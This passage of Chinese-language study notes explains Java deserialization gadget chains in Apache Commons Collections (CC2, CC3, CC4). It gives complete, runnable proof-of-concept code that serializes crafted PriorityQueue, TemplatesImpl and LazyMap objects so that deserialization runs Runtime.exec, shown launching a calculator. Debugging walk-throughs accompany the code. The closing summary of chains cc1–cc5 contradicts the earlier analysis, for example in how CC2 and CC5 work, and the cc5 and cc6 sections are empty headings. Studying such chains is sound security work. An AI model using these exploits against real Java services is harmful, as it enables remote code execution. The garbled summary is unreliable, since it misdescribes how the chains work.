new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;
将transformerChain传入TransformingComparator,从而调用transformer方法;
new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。
queue.add(1);
queue.add(2);
添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
。
调试代码看一看,跟进PriorityQueue
类,这里comparator参数是我们传入的Tcomparator
;
继续跟,跟进queue.add(2)
,调用了offer
方法;
跟进offer
方法,进入else分支,调用了siftUp
方法;
跟进siftUp
方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator
方法;
继续跟,来到重点代码;
跟进,这里会执行两次命令;
但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。
那么如何让return不为0呢。
既然调用siftUpUsingComparator
方法会出错,那试试调用siftUpComparable
方法,即comparator参数为null,修改代码,不传入comparator参数。
PriorityQueue queue = new PriorityQueue(1);
再调试看看;
这下comparator参数就为null;
照样进入queue.add(2)
,到siftUp
方法,就进入else分支,调用siftUpComparable
方法;
这样就只是单纯给queue[1]
赋值,并不会调用compare
方法;
返回后就执行序列化代码,但是并没有执行命令,还要改进;
代码4
上面修改后的代码没有调用到compare
方法,我们可以在向queue中添加元素后,通过反射将Tcomparator
传入到queue的comparator参数;
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
这样comparator参数就不为null,当反序列化时调用readObject
方法时就会进入siftDownUsingComparator
方法,调用compare
方法,从而执行命令。
完整POC
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
Javassit补充
简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault()
:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;ClassPath insertClassPath(ClassPath cp)
:将一个ClassPath对象插入到类搜索路径的起始位置;ClassPath appendClassPath
:将一个ClassPath对象加到类搜索路径的末尾位置;CtClass makeClass
:根据类名创建新的CtClass对象;CtClass get(java.lang.String classname)
:从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。
常用方法:
void setSuperclass(CtClass clazz)
:更改超类,除非此对象表示接口;byte[] toBytecode()
:将该类转换为类文件;CtConstructor makeClassInitializer()
:制作一个空的类初始化程序(静态构造函数);
示例代码
import javassist.*;
public class javassit_test {
public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}
public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}
利用链2分析
在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;
先给出POC:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test2 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer
;
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");
代码2
实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
代码3
这里就要用到javassit的知识;
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};
这段代码会新建一个类,并添加了一个static代码块;
代码4
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么要这样赋值下面再说;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
代码6
通过反射给queue的comparator参数赋值;
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
从PriorityQueue.readObject()
方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
参考连接:
https://blog.csdn.net/qq_41918771/article/details/117194343
commons-collections2 利用链分析
Java安全之Javassist动态编程
cc3链
Java安全之Commons Collections3分析 - nice_0e3 - 博客园
0x00 前言#
在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。CC1的利用链是
Map(Proxy).entrySet()
触发AnnotationInvocationHandler.invoke()
,而CC2链的利用链是通过InvokerTransformer.transform()
调用newTransformer
触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。
0x01 前置知识#
在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。
InstantiateTransformer#
首先还是查看一下构造方法。
在查看下面的代码的时候会发现他的transform
方法非常的有意思。
transform
方法会去使用反射实例化一个对象并且返回。
TrAXFilter#
查看TrAXFilter
的构造方法,会发现更有意思的事情
_transformer = (TransformerImpl) templates.newTransformer();
调用了传入参数的newTransformer()
方法。在CC2链分析的时候,使用的是反射调用newTransformer
,newTransformer
调用defineTransletClasses()
。最后再调用_class.newInstance()
实例化_class
对象。那么如果是使用TrAXFilter
的话,就不需要InvokerTransformer
的transform
方法反射去调用了。
0x02 POC分析#
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
上面是一段POC代码,先来分析一下,POC为什么要这样去构造。
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
先来执行一遍看一下执行的结果
能够执行成功并且弹出计算器。
其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。
这里是采用了Javassist
方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe")
,设置完成后,将该类转换成字节码。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
反射获取TemplatesImpl
类的_bytecodes
成员变量,设置值为上面使用Javassist
类转换后的字节码。
反射获取TemplatesImpl
类的_name
成员变量,设置值为test。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
ConstantTransformer
在调用transform
方法的时候,会遍历的去调用数组里面transform
方法。并且将执行结果传入到第二次遍历执行的参数里面。
第一次执行this.iTransformers[i]
为ConstantTransformer
。所以,调用的是ConstantTransformer
的transform
方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class
对象。
而在第二次遍历执行的时候传入的就是TrAXFilter.class
对象,然后再反射的去获取方法,使用newInstance
实例化一个对象并且进行返回。
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
这里是将上面构造好的ChainedTransformer
的实例化对象,传入进去。在调用lazyMap
的get方法的时候,就会去调用构造好的ChainedTransformer
对象的transform
方法。
那么下面就会引出lazyMap
的get方法的调用问题,再来看下面一段代码。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
反射创建了一个AnnotationInvocationHandler
对象,传入Override.class
和lazyMap
的对象,并使用AnnotationInvocationHandler
作为调用处理器,为lazyMap
做一个动态代理。关于这里为什么要传入一个Override.class
的问题,其实因为AnnotationInvocationHandler
本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class
还是Override.class
都是可行的。
这的lazyMap
作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke
方法。AnnotationInvocationHandler
实现了InvocationHandler
,可以被当作调用处理器传入。而我们在这时候调用lazyMap
的任意方法的话,就会执行一次AnnotationInvocationHandler
中的invoke
方法。而在AnnotationInvocationHandler
的invoke
方法中就会调用get方法。
在调用get方法后又回到了前面说到的地方,这里就会去调用transform
方法去完成后面的命令执行。这里先不细说。
在分析完POC代码后其实并没有去看到一个完整的调用链,这里有必要去调试一遍。
0x03 CC3链调试#
先在AnnotationInvocationHandler
的readobject
方法中去打个断点进行调试分析
在这里可以看到这里的this.memberValues
的值为被代理的lazyMap
的对象,调用了lazyMap
的entrySet
方法。那么这时候被代理对象的调用处理器的invoke
方法会执行。前面说过使用的AnnotationInvocationHandler
作为调用处理器,这里调用的就是AnnotationInvocationHandler
的invoke
方法,跟进一下invoke
方法。
invoke
方法在内部调用了lazyMap
的get方法,再来跟进一下get方法
到这里其实就能看到了this.factory.transform(key);
,调用了transform
方法,在这里的this.factory
为ChainedTransformer
的实例化对象。再来跟进一下transform
方法就能看到ChainedTransformer
的transform
内部的调用结构。
在POC构造的时候为ChainedTransformer
这个对象传入了一个数组,数组的第一值为ConstantTransformer
实例化对象,第二个为InstantiateTransformer
实例化对象。
所以在这里第一次遍历this.iTransformers[i]
的值为ConstantTransformer
。ConstantTransformer
的transform
会直接返回传入的对象。在POC代码构造的时候,传入的是TrAXFilter
对象,所以在这里会直接进行返回TrAXFilter
,并且会作为第二次遍历的传参值。
而在第二次遍历的时候,this.iTransformers[i]
的值为InstantiateTransformer
的实例化对象。所以调用的是InstantiateTransformer
的transform
方法并且传入了TrAXFilter
对象。跟进一下InstantiateTransformer
的transform
方法。
这里其实是比较有意思的,刚刚传入的是TrAXFilter
对象,所以这里的input为TrAXFilter
,this.iParamTypes
为Templates
,this.iArgs
为构造好的恶意TemplatesImpl
实例化对象。(这里之所以说他是恶意的TemplatesImpl
对象是因为在前面使用反射将他的_bytecodes
设置成了一个使用javassist
动态创建的恶意类的字节码)
该transform
方法中使用getConstructor
方法获取TrAXFilter
参数为Templates
的构造方法。
使用该构造方法创建一个对象,并且传入恶意的TemplatesImpl
实例化对象。在该构造方法当中会调用TemplatesImpl
的newTransformer
方法。跟进一下newTransformer
方法。
newTransformer
方法内部调用了getTransletInstance
方法再跟进一下。
这里可以看到先是判断了_name
的值是否为空,为空的话就会执行返回null,不向下执行。这也是前面为什么使用反射获取并且修改_name
值的原因。
下面一步是判断_class
是否为空,显然我们这里的_class
值是null,这时候就会调用defineTransletClasses
方法,跟进一下。
下面标注出来这段是_bytecodes
对_class
进行赋值,这里的_bytecodes
的值是使用javassist
动态创建的恶意类的字节码 执行完后,来到下一步。
这里会对该字节码进行调用newInstance
方法实例化一个对象,然后就可以看到命令执行成功。
关于这个为什么调用newInstance
实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist
动态创建一个类的时候,他是怎么去构造的。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
先将该类写出来到文件中,然后再去查看。
看到这个其实就一目了然了,使用setBody
设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。
调用链#
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()
0x04 结尾#
其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。
在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了。
cc4链
0x00 前言#
继续来分析一波CC4的链,在写该文前,看到网上大部分的文章都只给了一个调用链和POC。其实看CC4调用链的时候,能看出来CC4的调用链用到的也是前面的一些类去构造,只不过把CC2 和CC3的链给拼接了一下。
0x01 POC#
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections44444444");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
用网上的POC做了一个小小的改动。
前面的一大段代码,在这里就不分析了,因为在CC2和CC3的链中,都是一样的。
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
CC4链中在这段代码中就做了一个简单的修改。
第一步是new了一个ConstantTransformer
对象存储在Transformer[]
数组中传入的参数是TrAXFilter.class
,如果调用到ConstantTransformer
实例化对象的transform
方法会直接返回一个TrAXFilter
对象。
第二步new了一个InstantiateTransformer
对象传入的是Templates.class
和构造的恶意templates
实例化对象。
第三步是使用了ChainedTransformer
的修饰器将Transformer[]
数组传入参数,当调用transform
方法将给Transformer[]
数组给遍历调用transform
方法。
第四步将ChainedTransformer
修饰后的对象再使用TransformingComparator
修饰器给修饰一遍,这里再使用TransformingComparator
来修饰一下,这样等调用到该实例化对象的compare
,方法的时候就会去遍历调用Transformer[]
的transform
方法。
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
这里反射获取PriorityQueue
的成员变量comparator
,然后设置PriorityQueue
的comparator
值为transCom
。
其他的都和前面的一模一样,这里就不做具体分析了,感兴趣的可以去看看前面3条链的一个调试和分析过程。下面来做CC链的调试。
0x02 POC调试#
该链中利用的也是通过PriorityQueue
的readObject
作为入口点。在该readObject
复写点打个断点进行跟踪。
在readObject
会调用到heapify
方法。跟进一下heapify
方法
heapify
方法会再去调用siftDown
方法
在这里如果comparator
不为空,还会继续调用siftDownUsingComparator
方法,comparator
在这里是被修饰的Transformer[]
数组。前面使用反射去进行设置的。继续跟进siftDownUsingComparator
方法。
到了这一步后,就会调用comparator
的compare
方法,在前面使用到了TransformingComparator
来修饰,所有调用到TransformingComparator
的compare
方法。
在被TransformingComparator
修饰前,还使用了ChainedTransformer
修饰器进行修饰,在this.transformer
为ChainedTransformer
的实例化对象。所以这里调用的是ChainedTransformer
的transform
。前面也提过该方法会遍历调用Transformer[]
数组的transform
方法。
在第一次遍历调用transform
方法时i,因为前面Transformer[]
存储的第一个是ConstantTransformer
。ConstantTransformer
的transform
会直接返回TrAXFilter
对象。
第二次调用的时候则是传入TrAXFilter
调用InstantiateTransformer
的transform
方法。
这里的this.iParamTypes
为templates
,而this.iArgs
为构造的恶意TemplatesImpl
实例化对象。
那么这一步就是获取TrAXFilter
为templates
的构造方法。然后调用该构造方法实例化对象,并且传入TemplatesImpl
恶意类。跟进到TrAXFilter
构造方法里面,查看一下具体实现。
在他的构造方法里面还会对传入的对象调用newTransformer
方法。
此时传入的是恶意的TemplatesImpl
实例化对象。调用的则是TemplatesImpl
的newTransformer
方法。继续跟进。
在该方法还会调用到getTransletInstance
方法。继续跟进。
到了这里会判断_class
为空的话就会去调用defineTransletClasses
进行赋值。跟踪一下defineTransletClasses
方法查看是如何赋值的。
_bytecodes
对_class
进行赋值。_bytecodes
为Runtime
类执行命令代码的字节码。
在执行完方法后,来到下一步。
对_class
进行newInstance
,进行实例化对象。执行完这一步后,就会弹出计算器,也就是说执行了我们前面构造好的命令执行代码。
getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare->ChainedTransformer.transform
->TrAXFilter(构造方法)->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc4.newInstance()->Runtime.exec()
0x03 结尾#
在CC1和CC3里面只能在低版本执行,而CC2和CC4可以在1.8 的版本下执行,调试CC1,3用的是JDK7u21版本,而2和4使用的是jdk8U181版本,亲测可用。
cc5
cc6
cc 链小结
urlDNS
urldns 主要用于验证目标是否存在反序列化漏洞。它本身并不执行代码,而是通过发送特制的序列化数据,检测目标是否会触发反序列化过程,从而判断目标是否可能受到反序列化漏洞的影响。
cc1
与 urlDNS 链类似,cc1 链的起点是某个类的 readObject()
方法。要实现反序列化利用,必须重写 readObject()
方法,使其能够接受任意对象作为参数。cc1 链的利用过程通常涉及以下步骤:
- 构造恶意序列化对象: 利用可序列化类(如
LazyMap
)构建恶意对象。 - 触发反序列化: 通过特定方式(如文件上传、RMI 调用等)将恶意序列化对象发送给目标。
- 执行任意代码: 利用链中的特定方法调用执行任意代码。
cc2
cc2 链 利用的是 Apache Commons Collections 库中的 TransformedMap 类。其核心思路是:
- 利用
TransformingComparator
的transform
方法。 - 利用
InvokerTransformer
的transform
方法调用Method.invoke
。 - 利用
Runtime.getRuntime().exec()
执行命令。
cc3
cc3 链 利用的是 Apache Commons Collections 库中的 LazyMap 类和 ChainedTransformer 类。其核心思路是:
- 利用
ChainedTransformer
链接多个Transformer
。 - 利用
ConstantTransformer
获取Runtime.class
。 - 利用
InvokerTransformer
调用getMethod
获取getRuntime
方法。 - 利用
InvokerTransformer
调用invoke
获取Runtime
对象。 - 利用
InvokerTransformer
调用exec
方法执行命令。
cc4
cc4 链 利用的是 Apache Commons Collections 库中的 LazyMap 类和 TransformingComparator 类。其核心思路是:
- 利用
TransformingComparator
的compare
方法。 - 利用
InvokerTransformer
的transform
方法调用Method.invoke
。 - 利用
Runtime.getRuntime().exec()
执行命令。
cc5
cc5 链 利用的是 Apache Commons Collections 库中的 TransformingComparator 类和 AnnotationInvocationHandler 类。其核心思路是:
- 利用
TransformingComparator
的compare
方法。 - 利用
InvokerTransformer
的transform
方法调用Method.invoke
。 - 利用
AnnotationInvocationHandler
的invoke
方法调用readObject
。 - 利用
LazyMap
的get
方法触发readObject
。 - 利用
Runtime.getRuntime().exec()
执行命令。
cc6
